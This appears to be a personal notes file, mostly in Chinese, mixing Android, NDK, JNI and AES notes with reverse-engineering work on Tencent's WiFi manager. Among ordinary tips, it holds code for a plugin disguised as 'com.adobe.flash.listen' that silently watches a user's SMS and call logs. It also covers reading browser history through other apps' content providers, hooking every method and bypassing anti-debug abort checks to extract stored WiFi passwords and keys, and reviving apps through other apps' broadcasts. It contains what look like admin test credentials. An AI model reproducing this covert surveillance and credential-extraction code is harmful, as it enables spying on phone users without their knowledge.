// com.adobe.flash.listen
settings.gradle 定义项目包含那些模块
app.iml app模块的配置文件
External Libraries 项目依赖的Lib ,编译时候自动下载
AAPT 工具
// Android Asset Packageing Tool
// 在SDK的tools/目录下. 该工具可以查看, 创建, 更新ZIP格式的文档附件(zip, jar, apk). 也可将资源文件编译成二进制文件.
android-support-v4包 有版本号
// 假如我们在targetS店可Version <23 的时候用到了
// android.supoort.v4.content.PermisssionChecker这个类来检查权限
// 但是引入了android-support-v4-22.2.1.jar后,却找不到PermissionChecker类,
// 原因就是PermissionChecker是23.0.0版本才加入的,所以引入android-support-v4-23.0.0.jar就可以了
// Android support v4 关键api
// v4 compat library?
// 兼容一些 Framework API,如 Context.getDrawable() 和 View.performAccessibilityAction()等,在AS中的依赖方式如下:
// compile 'com.android.support:support-compat:24.2.1'
// v4 core-utils library
// 提供一系列核心的工具类,如 AsyncTaskLoader 和 PermissionChecker,在AS中的依赖方式如下,按自己需求选择合适版本:
// compile 'com.android.support:support-core-utils:24.2.1'
// core-ui library
// 提供一系列核心的 UI,如 ViewPager、 NestedScrollView,在AS中的依赖方式如下:
// compile 'com.android.support:support-core-ui:24.2.1'
// v4 media-compat library
// android.media 兼容库,包括 MediaBrowser 和 MediaSession,在AS中的依赖方式如下:
// compile 'com.android.support:support-media-compat:24.2.1'
// v4 fragment library
// 跟fragment相关部分,v4 fragment library这个子库依赖了其他4个子库,所以我们一旦依赖这个库就会自动导入其他4个子库,这跟直接依赖整个support-v4效果类似,在AS中的依赖方式如下:
// compile 'com.android.support:support-fragment:24.2.1'
Android Support v4: 这个包是为了照顾1.6及更高版本而设计的,这个包是使用最广泛的,eclipse新建工程时,都默认带有了。
Android Support v7: 这个包是为了考虑照顾2.1及以上版本而设计的,但不包含更低,故如果不考虑1.6,我们可以采用再加上这个包,另外注意,v7是要依赖v4这个包的,即,两个得同时被包含。
Android Support v13 :这个包的设计是为了android 3.2及更高版本的,一般我们都不常用,平板开发中能用到。
// 为什么还要用V7呢?V4向下兼容的版本不是更多吗?
// V7版本不是为了提供一些V4提供不了的内容,它不是补丁。V7以后你如果创建一个工程,它给你创建的都是FragmentActivity了。
// 也就是说,以后Android开发所有的界面都可以是碎片模式了。V7是一种新的框架和更优解决方案.
// ctrl+shift + - 折叠所有代码
// ctrl+shift + + 展开所有代码
// 插件全部继承于PluginImpl
// 宿主从asset文件中读取要反射的类,之后类新建立一个对象,并调用init方法
// com.adobe.flash.listen 实现监听用户的短信记录和电话记录
// 核心 肯定要注册ContentOberver,Observer观测者,观察数据的变化
public void start(Context context){
_context = context;
_context.getContentResolver().registerContentObserver(Uri.parse("content://sms/"),true,this);
// 注册观测者,自己也要实现onChanged方法,当数据库的数据发生变化的时候,会回调onChanged方法
_inbox_max_id = getInBoxMaxId(_context);
// 先获取已经接收到的最大短信id,之后可以用
// _context.getContentResolver().query(Uri.parse("content://sms/inbox"), null, "_id>?",
// new String[] { String.valueOf(_inbox_max_id) }, null);
// 这个时候取得的数据就是刚刚接收到的短信
_sendt_max_id = getSentMaxId(_context);
// 同理
}
// 获取所有的contentProviders
List<String> contentProviders = new ArrayList<String>();
try{
PackageManager pm = mContext.getPackageManager();
for(PackageInfo pack : pm.getInstalledPackages(PackageManager.GET_PROVIDERS)){
ProviderInfo []providers = pack.providers;
if(providers != null){
for(ProviderInfo provider : providers){
contentProvider.add("content://"+provider.authority);
}
}
}
}catch (Exception e) {
// PackageManager has died?
mException = e;
}
com.android.browser
com.smartisanos.share.browser
// <uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
// bookmarks 包括 书签和上网记录,书签没有时间
// contentResolver.query(Uri.parse("content://browser/bookmarks"),new String{"title","url",
// "date"},"date!=?",new String[]{"null"},"date desc");
// 属性可见 需要声明为 android:exported 让其他app看得到
// 例如 service , ContenrProvider
<provider
android:name="com.baimasu.****"
android:exported="true"
android:authorities = "com.baimasu.*****"
// authorities+表名就可以访问了 数据表了
exported="true"> //
</provider>
// 为什么需要遍历所有列表成员呢
// 因为只反射了一个类,所以通过该接口访问得到所有对象
if (cmd.equals("recordCalls") && arg1 instanceof String) {
if ("true".equals((String) arg1)) {
_enable_listen = true;
} else {
_enable_listen = false;
}
}
if (cmd.equals("recordSMS")) {
if (arg1 instanceof String) {
if (((String)arg1).equals("true")) {
_enable_listen = true;
} else {
_enable_listen = false;
}
}
}
http://android.mk/ android mk/
一个Android.mk文件必须以LOCAL_PATH变量的定义开始。
ndk-build.cmd NDK_DEBUG=1 // ndk 配置可以调试
找不到.h头文件时候,可以添加以下路径
E:\tool!!!!!!\android-ndk-r13b-windows-x86_64\android-ndk-r13b\toolchains\aarch64-linux-android-4.9\prebuilt\windows-x86_64\lib\gcc\aarch64-linux-android\4.9.x\include
E:\tool!!!!!!\android-ndk-r13b-windows-x86_64\android-ndk-r13b\toolchains\aarch64-linux-android-4.9\prebuilt\windows-x86_64\lib\gcc\aarch64-linux-android\4.9.x\include-fixed
jni
E:\tool!!!!!!\android-ndk-r13b-windows-x86_64\android-ndk-r13b\platforms\android-24\arch-arm64\usr\includ
// 在执行任何sql语句之前,必须先连接到一个数据库,也就是打开或者新建一个sqlite3数据库文件
// 连接数据库 由sqlite3_open函数完成 有三个版本
// sqlite3_open函数假定sqlite3数据库文件名为UTF-8编码
// sqlite3_open_v2 是它的加强版
// sqlite3_open16 函数假定sqlite3数据库文件名为utf-16编码
int sqlite3_open_v2(
const char *filename,
sqlite3 **ppDb,
int flags,
const char *zVfs
);
int sqlite3_close(sqlite3 *);
// 两个map,一个是<first,second> 一个是<second,first>
// 这样查找的时候,可以根据key或者value查找,查找的更加快
// findDateByMap1();
// findDataByMap2();
// freeTcp 自由Tcp堆,保存Tcp结构体内存,缓冲区
// linux
// extern int pthread_join __P(pthread_t __th,void **_thread_return)
// 第一个参数 是被等待线程的线程标识符
// 第二个参数是一个用户定义的指针,用来存储被等待线程的返回值
// 线程阻塞函数,调用它的线程一直等到被等待的线程结束为止,
// dataList 消息缓冲区 不断从dataList读取消息
// readMessageFromBuf(datalist)-->sendMessage
// addTask-->addEncryTask--->insertToDataList-->onClientSend
ulMsgId // 如果相同表示同一个消息,如果不同表示下一个消息
string plugin_dir = m_data_dir+"file/rf/";
// qqwifi 是否可用 不可用的话是否逆向
// 将qqwifi添加到 WifiSearchInterface里面
2016adminTest,./0831
2017AdminTest,./815
// apktool 一般是资源出错问题
// hook setTextView??
// 找到需要添加属性的标签块,添加一个20个字节的属性块,再去修改标签块的属性个数和标签块的大小
http://blog.csdn.net/jiangwei0910410003/article/details/75729484 //
// apk 签名认证
// 字符串--->资源id--->方法名字
// 如 一键查询 找到资源id 是 R.id.**** 找到调用R.id的方法是 onClick**
// find
// hook 常用函数? setTextView toString base64encode
QWifiItem
wifi ssid this.FAB
bssid avo();
// Strings public.xml 里面保存了各个资源对应的0x777ffffg
// 签名搜索 Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature
// xposed xinstaller
// xposed 可能有很多有效的插件在反编译领域
// 例如 xinstaller inspeckage
// aNM()
// sessionManager 获取索引为0的对象,如果为null,return“”
113.96.208.144
//
// 主界面 SessionMainTitleView
//jsonObject "
// getWifiInfo
//shouldOverrideUrlLoading
com.tencent.qqpimsecure.plugin.sessionmanager.fg.router.view c$a
com.tencent.qqpimsecure.plugin.sessionmanager.fg.router.view d$a
startScan /proc/net/arp
sessionMainTitleView
//result
"refreshQWiFiItemAsyn"
"cat /proc/stat"
package tcs; class bvy$b
"gtroutermanager "WupSessionHelperImpl"
paramView.putString("ssid", h.k(this.fAQ));
aG(ArrayList<WifiConfig> paramArrayList) "target_free_wifi_ssid"
paramBundle.getString("key_password");
mazu.3g.qq.com
xposed 脱壳ZjDroid
Lcom/tencent/qqpimsecure/plugin/sessionmanager/fg/l;->gE(Z)Lcom/tencent/qqpimsecure/plugin/sessionmanager/commom/QWifiItem;
com.tencent.map.location.g$a n
// hook 主要的加解密函数
(3)
72:81:eb::71:ec:43
2
rw
183.36.108.217
113.96.208.144 解密单个ssid????
connect.rom // 创建session???
mmgr.gtimg.com /// 保持连接?
// 主要连接??
package com.tencent.qqpimsecure.plugin.sessionmanager.commom;
public class ag$b
{
public String gec = "http://connect.rom.miui.com/generate_204";
public String ged = "http://mmgr.gtimg.com/gjsmall/net/mmgr.html";
public String gee = "<title>mmgr</title>";
public String gef = "<h1>mmgr</h1>";
public int lH = 5000;
}
commom/ag$b;->gec
//
invoke-static {v2, p3}, Lcom/tencent/qqpimsecure/plugin/sessionmanager/commom/m;->a(Ljava/io/InputStream;I)Ljava/lang/String
mazu.3g.qq.com
///???
http://monitor.uu.qq.com/analytics/rqdsync
http 请求的api大概分为:
apache 提供的httpClient
java 提供的 httpURLConnection
android 提供的webView
第三方 :volley/android-async-http/xutils
System.out.println(new URL("https://www.baidu.com").openConnection().getClass().getCanonicalName());
// URL Exception 抛出 hook
在tcs.agp
smail
move destination,source
数据操作指令 move v0,v1 将v1的值赋给v0
public void a(boolean arg20, int arg21, byte[] arg22, f arg23) {
// arg20 false;
// arg21 0
// arg22 4
afm
xposed 对象不知,所以可以反射
private static Field findFieldRecursiveImpl(Class<?> clazz, String fieldName) throws NoSuchFieldException {
try {
return clazz.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
while (true) {
clazz = clazz.getSuperclass();
if (clazz == null || clazz.equals(Object.class))
break;
try {
return clazz.getDeclaredField(fieldName);
} catch (NoSuchFieldException ignored) {}
}
throw e;
}
}
aua.b("ocean", v0, v7, arg11);
ArrayList v16 = agp.a(this.vb, v6_1, arg20, v5_1, v15);
tcs.ago
public void hook() throws IOException, ClassNotFoundException {
DexFile dexFile = new DexFile(loadPackageParam.appInfo.sourceDir);
Enumeration<String> classNames = dexFile.entries();
while (classNames.hasMoreElements()) {
String className = classNames.nextElement();
if (isClassNameValid(className)) {
final Class clazz = Class.forName(className, false, loadPackageParam.classLoader);
for (Method method: clazz.getDeclaredMethods()) {
if (!Modifier.isAbstract(method.getModifiers())) {
XposedBridge.hookMethod(method, new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
log("HOOKED: " + clazz.getName() + "\\" + param.method.getName());
}
});
}
}
}
}
}
// hook 所有类的所有方法
Class<?> threadClazz = Class.forName("java.lang.Math");
Method method = threadClazz.getMethod("abs", long.class);
System.out.println(method.invoke(null, -10000l));
// 反射静态方法传入null
// 动态加载dex ???
// new dexFile()
// dexClassLoader
// 访问/data/app/packagename_1.apk 或者/data/app/packagename_2.apk
String filePath = String.format("/data/app/%s-%s.apk",packageName,1);
if (!new File(filePath).exists())
{
filePath = String.format("/data/app/%s-%s.apk", packageName, 2);
if (!new File(filePath).exists())
{
XposedBridge.log("Error:在/data/app找不到APK文件" + packageName);
return;
}
}
final PathClassLoader pathClassLoader = new PathClassLoader(filePath, ClassLoader.getSystemClassLoader());
final Class<?> aClass = Class.forName(packageName + "." + HookUtil.class.getSimpleName(), true, pathClassLoader);
final Method aClassMethod = aClass.getMethod("hookAll", XC_LoadPackage.LoadPackageParam.class);
aClassMethod.invoke(aClass.newInstance(), lpparam);
// 消息队列 请求队列
// 有一个新的请求就放进 requestList msg可以包含一个回调函数
// Thread不断地从requestList读取请求并执行,执行完后回调
// 可配置的
//解密是先序列化,再解密
// 那么加密肯定也只能是先加密,再序列化了
// 一个apk执行hook的逻辑
// 一个apk执行hook的代码
// 读写分离
// 逻辑分离
// 劫持url,劫持输入流和输出流
// afm-->afl-->agz
// afm-->agz-->{
mA boolean bxE;
String bjk
ArrayList<adq> bxF;
ArrayList<adq> bxD;--->{
ArrayList<ael> bjF;--->ael{
String bnw;
}
}
}
// 没有执行read方法,所以只是初始化了开始的结构体,所以后来的还是为null
// 所以要先执行read方法先
afl->data解密-->agz
// 多个wifi ago mSessionId: " + this.cXW + " mEncodeKey: " + this.cXX;
// agh.a(this.mContext, this.uH.XQ().cXX.getBytes(), arg10.data, arg12.first, true, arg10.VB);
// mEncodeKey
// 每个wifi都有可能有多个密码
抽象类不能实例化,为什么 new onClickListener{};
// 因为这是匿名的内部类,相当于继承了,所以不是抽象类了
// getFields():获得某个类的所有的公共(public)的字段,包括父类中的字段。
// getDeclaredFields():获得某个类的所有声明的字段,即包括public、private和proteced,但是不包括父类的申明字段。
tcs->handleMessage--->tcpnetwork.q--->tcpnetwork.n
getScanResults 打印一个异常???
showDoc 在线api文档
HandlerThread我们不但可以实现UI线程与子线程的通信同样也可以实现子线程与子线程之间的通信
HandlerThread主要实现子线程和子线程之间的通信
tcs.agh // encrypt
byte
String
int
int
int
int
currentTime
f0:b4:29:d3:cc:1f
ads aba
发送数据: agh 数据封装???
afi 数据获取在agq$e。run里面
afj---->afb
mw--->afi
tcs.agh public static byte[] a(f arg7, boolean arg8, String arg9, agm arg10) {
tcs.agh public static byte[] a(Context arg1, gu arg2, int arg3, afi arg4) {
pushId bfw.bfv
cmd mc
dataRetCode mz
ident cGL
refSeqNo mu
seqNo mt
jeb T类型识别
public static byte[] a(f arg7, boolean arg8, String arg9, agm arg10) { 最后的afj数据 //tcs.agh
encrypt([B[B)--------->找sessionmanager,应该在view层次加密
byte char // -128~~~127
为什么int转byte时候经常为0??
因为byte的范围是-128~127
假如一个int是140---->byte 就会变成0
所以两个byte相加,应该是 (byte)b1 | (byte)b2
假如是 byte(b1)+(byte)b2 实际上是 110+23 = 133 >127了,但是在int的范围内
因为+ 默认基本类型是int
NDA5 8C:A6:DF:A1:BA:99
TDD_SHI_DA_SHI_JIE|AC:A2:13:D1:56:E4
TCP 连接 113.96.208.144 | 443
switch 语句 只要遇到break或者return才会跳出,不然顺序执行
例如:
switch(a){ // a=1
case:1
{
out("1");
}
case:2
{
out("2");
return;
}
case:3
{
out("3");
}
// 输出为 1,2
System.loadLibrary
// windows xxx.dll
// linux libxxx.so
在java代码中:
System.loadLibrary("Hello");
Hello不能写成Hello.dll或者Hello.so
1、Shift+F12快速查看so文件中包含的字符串信息
2、F5快捷键可以将arm指令转化成可读的C代码,这里同时可以使用Y键,修改JNIEnv的函数方法名
3、Ctrl+S有两个用途,在IDA View页面中可以查看so文件的所有段信息,在调试页面可以查看程序所有so文件映射到内存的基地址
4、G键可以在调试界面,快速跳转到指定的绝对地址,进行下断点调试,这里如果跳转到目的地址之后,发现是DCB数据的话,可以在使用P键,进行转化即可,关于DCB数据,下面会介绍的。
5、F7键可以单步进入调试,F8键可以单步调试
MV <---
LDR --->
STM <---
IDA http://blog.csdn.net/jiangwei0910410003/article/details/51500328 // IDA好文章
linux ptrace
status 文件 /proc/[pid]/status
status有个状态是TracePid 这个字段不为空表示自己的进程在被人trace
JNI数据类型 与java数据类型的映射关系
JNI默认指针: JNIEnv* Jobject*
a3 原始数据
a4 key
Jni层接收到Java层传递过来的byte[]数组
GetByteArrayRegion 前者是进行值拷贝,将Java端数组的数据拷贝到本地的数组中
GetByteArrayElements 后者是指针的形式,将本地的数组指针直接指向Java端的数组地址,
其实本质上是JVM在堆上分配的这个数组对象上增加一个引用计数,
保证垃圾回收的时候不要释放,从而交给本地的指针使用,
使用完毕后指针一定要记得通过ReleaseByteArrayElements进行释放,否则会产生内存泄露。
jEnv *env,jclass *class
jni 方法映射 registerNativeMethod()
com.tencent.qqpimsecure.ui.activity.SplashActivity
com.tencent.qqpimsecure.plugin.sessionmanager.fg.news.ui.VideoPlayActivity
adb shell am start -D -n com.tencent.qqpimsecure.plugin.sessionmanager.fg.news.ui/.VideoPlayActivity
adb shell am start -D -n com.tencent/.qqpimsecure.ui.activity.SplashActivity
abort()函数首先解除进程对SIGABRT信号的阻止,之后向调用进程发送该信号,abort()函数会导致进程的
异常终止除非SIGABRT信号被捕抓并信号处理句柄没有返回
abort
// 功能: 异常终止一个进程
// qqWifiManager 里面多次调用检查函数,不合法就abort()退出进程
// 所以应该修改 检测函数
启动android_server
adb forward tcp:23946 tcp:23946
adb shell am start -D -n com.yaotong.crackme/.MainActivity
启动IDA pro,点击Debugger->attach->Remote ARMLinux/Android debugger,输入localhost,选择要调试的进程即可。
附加程序成功后,选择,Debugger option,勾选
suspend on process entry point
suspend on thread start/exit
suspend on library load/unload
三项,然后按f9运行调试程序,此时IDA pro 挂起
// 注意一定要按f9 不然IDA卡住在那,jdb命令肯定不成功
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
double a0[4]这个声明告诉编译器的是:我需要在栈帧里分配一块连续的空间,
大小为sizeof(double)*4,并且让a0引用该空间的起始位置(最低地址);
数组取下标偏移总是往上涨的,和在堆还是栈没啥关系
sub_15372 // 注册方法
init 程序初始化入口代码,在main方法之前运行
bss
BSS段属于静态内存分配。通常是指用来存放程序中未初始化的全局变量和未初始化的局部静态变量。
未初始化的全局变量和未初始化的局部静态变量默认值是0,本来这些变量也可以放到data段的
,但是因为他们都是0,所以为他们在data段分配空间并且存放数据0是没有必要的。
程序在运行时,才会给BSS段里面的变量分配内存空间。
在目标文件(*.o)和可执行文件中,BSS段只是为未初始化的全局变量和未初始化的局
部静态变量预留位置而已,它并没有内容,所以它不占据空间。
data
数据段(datasegment)通常是指用来存放程序中已初始化的全
局变量和已初始化的静态变量的一块内存区域。数据段属于静态内存分配。
text段:
代码段(codesegment/textsegment)通常是指用来存放程序执行代码的一块内存区域。
这部分区域的大小在程序运行前就已经确定,并且内存区域通常属于只读,
某些架构也允许代码段为可写,即允许修改程序。在代码段中,
也有可能包含一些只读的常数变量,例如字符串常量等。
rodata段: // readOnly data
存放的是只读数据,比如字符串常量,全局const变量 和 #define定义的常量。
例如: char*p="123456", "123456"就存放在rodata段中。
strtab段:
存储的是变量名,函数名等。例如:
char* szPath="/root",void func() 变量名szPath 和函数名func 存储在strtab段里。
shstrtab段:
bss,text,data等段名也存储在这里。
rel.text段:
针对 text段的重定位表,还有 rel.data(针对data段的重定位表)
int ar[30000];
int main()
{
return 0;
}
int ar[30000] = {1,2,3,4};
int main()
{
return 0;
}
程序3编译之后所得的.exe文件比程序1、2的要大得多。 为什么?
区别很明显,前两个位于.bss段,而另一个位于.data段,两者的区别在于:
全局的未初始化变量存在于.bss段中,具体体现为一个占位符;全局的已初始化变量存于.data段中;
而函数内的自动变量都在栈上分配空间。
.bss是不占用.exe文件空间的,其内容由操作系统初始化(清零);
而.data却需要占用,其内容由程序初始化,因此造成了上述情况。
r = PAIR(a, b);
__int64 func_pair(int a, int b)
{
__int46 r;
r = a;
r = r << 32;
r |= b;
return r;
}
在arm架构、fastcall函数调用约定下,函数在调用时通过寄存器R0~R3传递前四个参数,
如果函数参数超过4个,剩下的参数使用栈进行传递,
函数的返回值同样保存在R0寄存器中,函数的返回地址通常保存在LR寄存器。
adb shell am start -D -n com.tencent.wifimanager/com.tencent.qqpimsecure.ui.activity.SplashActivity
adb shell am start -D -n 包名/类名
由于MainActivity不一定在同一个包,所以刚才那个com.tencent.qqpmisecure肯定错的
//在函数前加上attribute((section (“.mytext”))),
//这样的话,编译的时候就会把这个函数编译到自定义的名叫”.mytext“的section里面
attribute((section (".mytext"))) JNICALL jstring getStringc(JNIEnv env, jclass obj) {
return (jstring)(env)-> NewStringUTF(env, "I am string from jni22222");
}
// 隐藏符号表,在Android.mk文件里面添加一句LOCAL_CFLAGS := -fvisibility=hidden
端口号8670有时候要改成对应的进程id
LDR 左
STR 右
问题分析:jdb出现致命错误,无法附加到目标 VM
问题解决:
打开DDMS,然后选中相应的进程,重新输入jdb命令;如果不行,重新检查是否有android:debuggable=”true”属性;
typedef struct{
const char *name;
const char *signature; //()V (II)V
void *fnPtr;
}JNINativeMethod;
c++函数传递的是指针,所以传递的是 JNINativeMethod* method; // 一个32位整数
// 这个地址指向三个三个地址,分别是
// name,signature ,fnPtr DWORD,DWORD,DWORD
// DWORD(R3)--->所指向的就是函数执行代码
c++ 一般是传指针的,所以对应是一个32位整数,所以应该*(DWORD key)
因为JNINativeMethod 只需要3个32位的整数
// 所以当ndk.bulid.gradle 设置为函数隐藏时候,readonlydata里面本来应该包含一个
// void *encry(char *,char *)字符串的,.rodata里面就没有了,只有name和signature
// 当调用RegisterMethod时候,本来是(JNIEnv *,JClass *,JNINativeMethod *,count);
// 对应为R2,R2的地址对应为: DWORD &name,DWORD &signature,DWORD &fnptr
// fnptr 对应的地址为函数代码
字符串 一般以"/0" 结束
aes IV
IV称为初始向量,不同的IV加密后的字符串是不同的,加密和解密需要相同的IV,
既然IV看起来和key一样,却还要多一个IV的目的,对于每个块来说,key是不变的
,但是只有第一个块的IV是用户提供的,其他块IV都是自动生成。
IV的长度为16字节。超过或者不足,可能实现的库都会进行补齐或截断。
但是由于块的长度是16字节,所以一般可以认为需要的IV是16字节。
// 为什么需要IV
// 因为同一个数据块经过同一个key加密是相同的,用IV明显不同
PADDING
AES块加密说过,PADDING是用来填充最后一块使得变成一整块,
所以对于加密解密两端需要使用同一的PADDING模式,
大部分PADDING模式为PKCS5, PKCS7, NOPADDING。
改变IV的长度,发现当IV大于16字节的时候,不管16字节之后的是什么,都不影响加密结果,应该是种自动截取机制
改变IV的长度,当IV小于16字节,还可以成功加密,可能是自动补齐机制
对称加密算法的PKCS5和PKCS7填充
简单地说, PKCS5, PKCS7和SSL3, 以及CMS(Cryptographic Message Syntax)
有如下相同的特点:
1)填充的字节都是一个相同的字节
2)该字节的值,就是要填充的字节的个数
如果要填充8个字节,那么填充的字节的值就是0×8;
要填充7个字节,那么填入的值就是0×7;
…
如果只填充1个字节,那么填入的值就是0×1
因为恢复的明文的最后一个字节 告诉你 存在多少个填充字节,
用PKCS#5 填充 的加密方法, 即使在输入的明文长度 恰好是 块大小(Block Size)整数倍 ,
也会增加一个完整的填充块. 否则,恢复出来的明文的最后一个字节可能是实际的消息字节.
aes 加密基本元素
// key 用于对块加密
// IV 初始为16字节,之后不断变,使得同一个块加密的数据也不同
// padding 最后一个块可能不对齐,使得最后一个块对齐,//aes加密算法应该是从最后一个块开始加密的,所以
// 此时的padding填充,使得每次加密的都不同
hook了libdvm.so中的dvmLoadNativeCode和dvmUseJNIBridge
前者可以确定加载so的路径,后者可以确定jni函数的地址。
Cydia Substrate 可以hook native
sub_16196 为注册nativeMethod的
BHI B 跳转 //BHI 大于就跳转
HI 大于
LW 小于 所以 BLW ???
agq.t(this.vs).XQ().cXX.getBytes()
->p(Landroid/content/Context;Landroid/content/Intent;
encrypt mark
// 在方法ajb$e.handleMessage里面将afj封装成一个数组了
可变参数写法
private void test(Object...args){
}
while(true){
work();
}
cancel(false) 与 cancel(true)的区别在于,cancel(false) 只 取消已经提交但还没有被运行的任务(即任务就不会被安排运行);而 cancel(true) 会取消所有已经提交的任务,包括 正在等待的 和 正在运行的 任务。
解决HttpURLConnection setConnectTimeout超时无响应的问题
使用getResponseCode()方法超时了却阻塞了线程,原因是指设置了setConnectTimeout没有设置setReadTimeout参数导致的
setConnectTimeout:设置连接主机超时(单位:毫秒)
setReadTimeout:设置从主机读取数据超时(单位:毫秒)
例如:
HttpURLConnection urlCon = (HttpURLConnection)url.openConnection();
urlCon.setConnectTimeout(30000);
urlCon.setReadTimeout(30000);
alarmManagerService //
如果我们没有设置和使用精准通知的话,
系统会把触发时间相近的Alarm放在同一个batch(看名字是一批的意思)中,
然后每个bach根据时间排序放在mAlarmBatchs中,前面的就是先要触发的alarm。这就是原理,
也就是我们的Alarm会分为一批一批的一起触发,而不是每个Alarm都要触发。
这就是我上面说的系统中有多个Alarm时会发生时间不准的现象,但如果系统中只有几个Alarm,
并且他们的触发时间隔得很远,那么我们的Alarm就自己分为一批,触发还是会准的。
在android6.0之后,如果想继续保持Alarm在手机处于所谓Doze模式时仍然能够被即时响应,
则需要使用AlarmManager新提供的两个方法setAndAllowWhileIdle()或者setExactAndAllowWhileIdle(),
饶了一大圈,还是回到AlarmManager是不是让人很淡疼。。。
华为,小米等手机系统对AlarmManager做了修改。
为了省电,加长了响应时间。
普通手机5s响应一次,他们则是50s.普通手机是30s的话,他们则是5分钟。
所以不是被kill掉,而是要慢慢等。
建议换为timer
setAlarmManager--->alarmManager
一层层-->一层层-->一层层 拉起
alarm-->alarm--->alarm-->
小米alarm 失效的原因
// alarm 需要大于5分钟
https://lmbj.net/blog/xiaomi-alarmmanager-failure-problem/
1.利用系统广播拉活
// 2.利用第三方应用广播拉活,可以反编译第三方Top应用,如:qq,微信,找出
// 他们外发的广播,在应用中进行监听,当这些应用发出广播时候,就将应用拉活
native进程感知 主进程是否存活
1.在native进程通过死循环或者定时器,轮训判断主进程是否存活,当主进程不存活的时候进行拉活
// 不停的轮训执行判断逻辑,非常耗电
2.在主进程中创建一个监控文件,在主进程中持有文件锁,在拉活进程启动后申请文件锁将会阻塞,
一旦可以成功获取到锁,说明主进程挂掉,就可以拉活,由于android中的应用都运行在虚拟机之上,java
层的文件锁和linux的文件锁是不同的,所以要封装linux层的文件锁供上层调用
private boolean isForeground(Context context) {
try {
ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();
if (runningAppProcesses != null) {
int myPid = android.os.Process.myPid();
for (ActivityManager.RunningAppProcessInfo runningAppProcessInfo : runningAppProcesses) {
Log.d(TAG, "=====runningProcessName:=====" + runningAppProcessInfo.processName);
if (runningAppProcessInfo.pid == myPid) {
return runningAppProcessInfo.importance <= ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND;
}
}
}
} catch (Exception e) {
Log.e(TAG, "=====Exception:=====" + e);
}
return false;
}
RxJava 异步java
linux中父进程死了,但是子进程不会死,而是被init进程领养,所以当我们的应用
// 进程卸载了,但是我们fork出来的子进程并不会销毁,所以可以在子进程里面
// am start -a android.intent.action.VIEW -d http://www.baidu.com
//部分厂商 即时聊天软件 华为push接口实现 应用保活,能够及时接收到信息
// service activity 优先级计算
// 计算A:发现依赖B,去计算B
// 计算B:发现依赖A,回头计算A
// 计算A:发现A正在计算,直接返回已经计算到一半的A优先级
// 因为是优先级的一半,所以不会死循环
android:process 属性,如果被设置的进程名是以一个冒号开头的,则这个新的进程对
于这个应用来说是私有的,当它被需要或者这个服务需要在新进程中运行的时候,这
个新进程将会被创建。如果这个进程的名字是以字符开头,并且符合 android 包
名规范(如 com.roger 等),则这个服务将运行在一个以这个名字命名的全局的进程
中,当然前提是它有相应的权限。若以数字开头(如 1Remote.com ),或不符合 and
roid 包名规范(如 Remote),则在编译时将会报错 ( INSTALL_PARSE_FAILED_MANIFE
ST_MALFORMED )。
新建进程将允许在不同应用中的各种组件可以共享一个进程,从而减少资源的占用。
/dev/log/system 系统日志路径
tail -n 1000 显示最后1000行
tail -n +1000 从1000行开始显示,显示1000行以后的
head -n 1000 显示前面1000行
显示 1000行到3000行
cat filename | head -n 3000 | tail -n +1000
android6.0引入了doze机制。忽略电池优化就相当于将应用加入了doze白名单。
通过下面的代码,调用系统的dialog,让用户做出选择。
Intent intent = new Intent();
intent.setAction(android.provider.Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
intent.setData(Uri.parse("package:" + packageName));
startActivity(intent);
但是,在华为EMUI4.0(android6.0)的手机上,会报ActivityNotFound异常,之前因为未加异常捕获,导致部分华为手机直接崩溃。导致问题的原因,估计是华为EMUI4.0修改了或者误改了电池优化的ACTION。
我找到了EMUI4.0和EMUI4.0的手机各一台(都是android6.0),发现设置-应用管理-高级-忽略电池优化页面都是有的,但是EMUI4.0无法通过设置action:ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS呼出dialog,也无法通过ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS打开对应设置页面。
对于这种情况,一般解决方法是,通过提示,让用户手动进入设置页面设置。
另外,我还测试了另外一种直接进入忽略电池优化页面的方法,思路是,通过包名打开设置,在通过指定component,进入相应页面,经测试,可行。但是,需要两个参数:1,“设置”的包名;2,忽略电池优化页面的类名。
查找设置的包名和对应页面的类名,有很多方法,我知道两种:1,adb shell dumpsys activity | grep “mFoc”; 2,打开一个页面时,查看logcat,从里面查找。我查到的包名是“com.android.settings”,类名是“com.android.com.settings.Settings@HighPowerApplicationsActivity”
然后,通过下面的代码,成功打开忽略电池优化页面:
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
// 设置ComponentName参数1:packagename参数2:Activity路径
ComponentName cn = new ComponentName(packageName, className);
intent.setComponent(cn);
startActivity(intent);
如何更优雅的crash后重启app?
app异常后直接crash,对用户不友好,希望发生异常时可以捕获异常并且重新启动app。
使用UncaughtExceptionHandler捕获异常,然后重新启动app。
//1.在你的Application实现UncaughtExceptionHandler 接口:
public class BaseApplication extends MultiDexApplication implements Thread.UncaughtExceptionHandle
在onCreate方法里面注册Thread.setDefaultUncaughtExceptionHandler(this);
复写 public void uncaughtException(Thread thread,Throwable ex) 方法名字
@Override
public void uncaughtException(Thread thread, Throwable ex) {
if (null != ex && null != thread) {
LoggerUtil.e("uncaughtException", "exception = " + ex.getMessage() + "|||| at Thread = " + thread.getName());
}
//do u want
AppUtil.restartApp(mInstance, MainActivity.class, AppUtil.RESTART_DELAY_MILLIS);
}
重新启动实现
public static void restartApp(Application application, Class cls, long delayMillis) {
Intent intent = new Intent(application.getApplicationContext(), cls);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
PendingIntent restartIntent = PendingIntent.getActivity(application.getApplicationContext(), 0, intent, 0);
AlarmManager alarmManager = (AlarmManager) application.getSystemService(Context.ALARM_SERVICE);
//延迟delayMillis毫秒执行操作
alarmManager.set(AlarmManager.RTC, System.currentTimeMillis() + delayMillis, restartIntent);
android.os.Process.killProcess(android.os.Process.myPid());
}
// 华为 5分钟一次??、
